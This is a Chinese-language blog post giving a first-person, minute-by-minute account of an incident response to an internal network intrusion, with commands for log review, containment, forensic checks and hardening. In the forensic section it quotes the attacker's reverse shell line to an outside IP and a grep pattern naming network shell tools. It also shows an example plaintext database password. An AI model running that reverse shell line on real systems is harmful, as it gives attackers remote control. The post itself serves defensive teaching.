凌晨三点被电话炸醒:一次真实应急响应的 45 分钟全记录
凌晨三点被电话炸醒:一次真实应急响应的 45 分钟全记录
前言
凌晨三点十四分,手机在枕头底下疯狂震动。不是闹钟,是告警短信——连珠炮一样,一秒钟三条。
[CRITICAL] 03:14:15 - 内网跳板机 10.0.3.15 异常登录(来源IP: 203.0.113.42)
[CRITICAL] 03:14:16 - 数据库服务器 10.0.3.21 检测到异常 SQL 查询
[CRITICAL] 03:14:17 - 核心业务服务器 CPU 使用率飙升至 98%
睡意瞬间消失。我一边穿裤子一边打开笔记本电脑,在安全群里吼了一句:"所有人醒醒,内网可能被打穿了。"
这篇文章不是教科书式的应急响应指南,而是这次真实事件的完整复盘。从发现告警到控制住局面,一共 45 分钟。其中前 20 分钟我犯了两个错误,差点让事情变得更糟。
T+0 到 T+5 分钟:信息收集(这一步我差点搞砸)
接到告警后的第一反应是什么?我当时的反应是:赶紧登录服务器看看到底发生了什么。
这是错的。
我直接 SSH 登录了那台被标记为异常登录的跳板机。登录成功的那一刻,我才意识到一个问题——如果攻击者还在那台机器上,我的登录行为会暴露给他,甚至我的 SSH 密钥可能被截获。
正确的做法:先通过带外管理(out-of-band)收集信息,不要直接登录可能被入侵的机器。
# 通过堡垒机的审计日志查看,而不是直接登录跳板机
# 堡垒机审计日志查询
grep "2026-05-30 03:" /var/log/bastion/auth.log | tail -50
# 通过 SIEM 平台查看告警详情
# (我们用的是 ELK Stack)
curl -s "http://siem.internal:9200/alerts-*/_search" -H 'Content-Type: application/json' -d '{
"query": {
"bool": {
"must": [
{"range": {"@timestamp": {"gte": "2026-05-30T03:10:00"}}},
{"term": {"severity": "critical"}}
]
}
},
"sort": [{"@timestamp": {"desc": "asc"}}],
"size": 20
}' | jq '.hits.hits[]._source'
从 SIEM 日志中,我快速拼凑出了攻击链:
- 03:10 — 攻击者通过某个对外暴露的管理接口(后来查明是 Grafana 未授权访问漏洞)获取了初始访问权限
- 03:12 — 通过 Grafana 的 Server-Side Request Forgery (SSRF) 探测内网,发现了跳板机
- 03:14 — 利用跳板机上一个配置不当的 SSH authorized_keys,获得了登录权限
- 03:14 — 在跳板机上横向移动,尝试连接数据库服务器
T+5 到 T+15 分钟:遏制(这是最混乱的阶段)
信息收集完毕,接下来要遏制攻击扩散。这一步我犯了第二个错误——我试图手动逐台隔离受影响的服务器。
# 我当时执行的命令(错误示范)
iptables -A INPUT -s 203.0.113.42 -j DROP # 封禁攻击者 IP
# 然后我开始逐台登录服务器检查...
问题是,攻击者已经拿到了跳板机权限,他的横向移动可能不止一条路径。我封了一个 IP,他可能还有其他后门。
正确的做法:启动预定义的应急响应剧本(Playbook),批量执行隔离操作。
#!/bin/bash
# emergency_isolate.sh - 应急隔离脚本(提前准备好的)
echo "[!] 启动应急隔离流程..."
# 1. 通过 SDN 控制器批量隔离受影响网段
curl -X POST "http://sdn-controller:8080/api/isolate" \
-H "Content-Type: application/json" \
-d '{"segment": "10.0.3.0/24", "action": "isolate", "allow_mgmt": true}'
# 2. 批量收集各服务器的网络连接快照
for host in 10.0.3.{15,21,22,25}; do
ssh -o StrictHostKeyChecking=no admin@$host \
"netstat -tlnp; ss -tnp; last -20; ps auxf" > /tmp/emergency_${host}_$(date +%s).txt &
done
# 3. 通知云平台冻结安全组(防止攻击者通过云控制台操作)
curl -X POST "http://cloud-api/internal/security-group/freeze" \
-d '{"region": "cn-east-1", "vpc": "vpc-prod", "action": "freeze"}'
echo "[✓] 隔离操作已完成,请检查 /tmp/emergency_*.txt 快照文件"
有预定义的剧本和没有,区别就是 5 分钟搞定 vs 20 分钟手忙脚乱。
T+15 到 T+30 分钟:分析与溯源
遏制住攻击扩散后,开始深入分析。这一步的关键是:搞清楚攻击者到底拿走了什么、留下了什么。
# 检查跳板机上的可疑进程
ps auxf | grep -E '(nc |ncat |socat |python.*socket|perl.*socket|bash -i)'
# 检查可疑的 cron 任务
for user in $(cut -d: -f1 /etc/passwd); do
crontab -l -u $user 2>/dev/null | grep -v '^#' | grep -v '^$'
done
# 检查最近修改的文件(攻击者可能植入了后门)
find / -mtime -1 -type f \( -name "*.sh" -o -name "*.py" -o -name "*.so" \) 2>/dev/null | \
grep -v -E '(proc|sys|dev)' | head -50
# 检查 SSH authorized_keys 是否被篡改
for home_dir in /home/*; do
if [ -f "$home_dir/.ssh/authorized_keys" ]; then
echo "=== $home_dir ==="
cat "$home_dir/.ssh/authorized_keys"
stat "$home_dir/.ssh/authorized_keys" # 检查修改时间
fi
done
在跳板机上,我们发现了两个关键线索:
- 攻击者在
/tmp/.X11-unix/目录下藏了一个反弹 shell 的脚本 - 在某个运维账号的
.bash_history里发现了数据库连接串——密码是明文的
# 攻击者留下的反弹 shell(伪装成 X11 socket 文件)
cat /tmp/.X11-unix/.ice-unix
# 内容:
#!/bin/bash
bash -i >& /dev/tcp/203.0.113.42/4444 0>&1
核心教训:运维人员把数据库密码写在了 .bash_history 里,因为他是这样连接数据库的:
# 千万不要这样连接数据库!!!
mysql -u root -pMyS3cretP@ssw0rd -h 10.0.3.21
# 这条命令会被记录到 .bash_history,攻击者一翻就看到了
正确的做法是用环境变量或者 mysql_config_editor:
# 方式一:环境变量(不记录到 history)
export MYSQL_PWD="MyS3cretP@ssw0rd"
mysql -u root -h 10.0.3.21
# 方式二:mysql_config_editor(加密存储)
mysql_config_editor set --login-path=prod --host=10.0.3.21 --user=root --password
# 之后连接只需要:
mysql --login-path=prod
T+30 到 T+45 分钟:恢复与复盘
确认攻击者没有在系统中留下持久化后门后,开始恢复服务。
# 1. 清除攻击者留下的所有文件
rm -f /tmp/.X11-unix/.ice-unix
# 2. 轮换所有可能泄露的凭据
# 3. 修复 Grafana 未授权访问漏洞
# 4. 恢复网络隔离
恢复之后,我做了三件事:
第一,清理 bash_history 中的敏感信息。
# 全局设置:bash_history 不记录包含密码的命令
echo 'export HISTIGNORE="*password*:*passwd*:*mysql*p*:*ssh*p*"' >> /etc/profile
第二,给所有对外暴露的管理接口加上认证和 IP 白名单。
# nginx 配置:Grafana 只允许办公网访问
location /grafana/ {
allow 10.0.1.0/24; # 办公网
allow 10.0.2.0/24; # VPN
deny all;
proxy_pass http://grafana:3000/;
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
}
第三,把这次事件写进应急响应知识库。以后遇到类似告警,不用再从零开始分析。
这次事件的代价和收获
代价:
- 业务中断约 25 分钟
- 3 台服务器需要重装(因为无法 100% 确认没有后门)
- 200+ 个数据库密码需要轮换
- 写了一份 12 页的事故报告
收获:
- 建立了完整的应急响应剧本,下次不再手忙脚乱
- 部署了数据库活动监控,敏感操作实时告警
- 所有管理接口加了双因素认证
- 运维规范中增加了"禁止在命令行传递密码"的条款
最深刻的一点:应急响应不是一个人的事。这次事件中,我前 15 分钟几乎是一个人在战斗,效率很低。后来拉上了运维和 DBA,才快速定位了问题。现在我们的应急响应小组是 24 小时轮值,确保任何时候发生安全事件,5 分钟内至少有三个人同时介入。
这次应急响应经历对你有帮助吗?如果你也有类似的故事,欢迎在评论区分享。
关注「安全值班室」公众号
每天AI安全早报 + 实战攻防案例 + 网安学习路线连载
浙公网安备 33010602011771号